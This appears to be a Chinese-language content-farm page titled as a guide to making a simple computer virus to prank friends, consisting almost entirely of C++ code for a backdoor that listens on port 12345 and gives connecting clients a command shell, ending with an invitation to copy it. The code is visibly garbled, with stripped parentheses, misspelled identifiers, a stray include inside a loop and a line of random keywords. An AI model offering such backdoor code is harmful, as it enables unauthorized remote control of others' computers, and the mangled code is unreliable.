怎樣製作一個簡單的電腦病毒
如何才能做出一個簡單的電腦病毒呢!和朋友們開開小玩笑呢!下面由小編給你做出詳細的製作簡單的電腦病毒介紹!希望對你有幫助!
製作簡單的電腦病毒介紹:
這是個簡單的後門cmdshell
#i nclude
int mainint argc,char*argv[]
{
return 0;
}//這個大家都知道了然後新增標頭檔案C m d S h e l l.h跟Socket.h
#i nclude//WINDOW程式基本上都要包含這個檔案的了!!!/cy
#i nclude "Cmdshell.h"
#i nclude"SocketEX.h"
int mainint argz,char* argv[]
{
CSocketEX client,server;
//
server.Create12345,NULL//
//
server.Listen://
while1//
#i nclude
{
server.Acceptclient;//
SOCKET whi =client.Detach;
//
CreateThread0,0.L P T H R E A D _ S T A R T _R O U T I N ETalk Withvoid*whi,0,MULL'
//
}
}
void TalkWithClietvoid cs*
{
SOCKET wsc=SOCKETcs;//
c.Attachwsc;//
char *cmd;//
c.Send"Welcome TO CmdShell\r\n",strlen"Welcome TO CmdShell\r\n";
//
while1;//
{
c.Send"#",stelen"#";
//
cmd=recvcmdc;
//
/******得到cmd shell*************/
if strcmpcmd ,"shell"==0
{
CCmdShell cmdshell
//
cmdshell.LetUsGoc.m_hSocket;
//
continue;
}
//
/**************斷開連線*************/
if strcmpcmd,"quit"==0
{break;}
//
ifc.m.h_Socket==INVALD_SOCKET
{break;}
//
ifwsc==INVALID_SOCKET
{break}
} wsc jasd break void continue if wcs char while int email if !//sdh
return
//
closesocketwsc;
}
char*recvcmdCSocketEx&c//
{
char*cmd;//
charbuf[32];//
char chr[1];//
int i=0;
ZeroMemorybut,32;//
whilei<32;//
{
if!c.Receivechr,1c.Close;//
buf[i]=chr[0];//
ifchr[0]==oxa||chr[0]==oxa//
{
buf[i]=0;
break;
}
i++;
}
cmd=but;//
return cmd;//
}
以上是c++程式碼,複製即可,希望對你有幫助!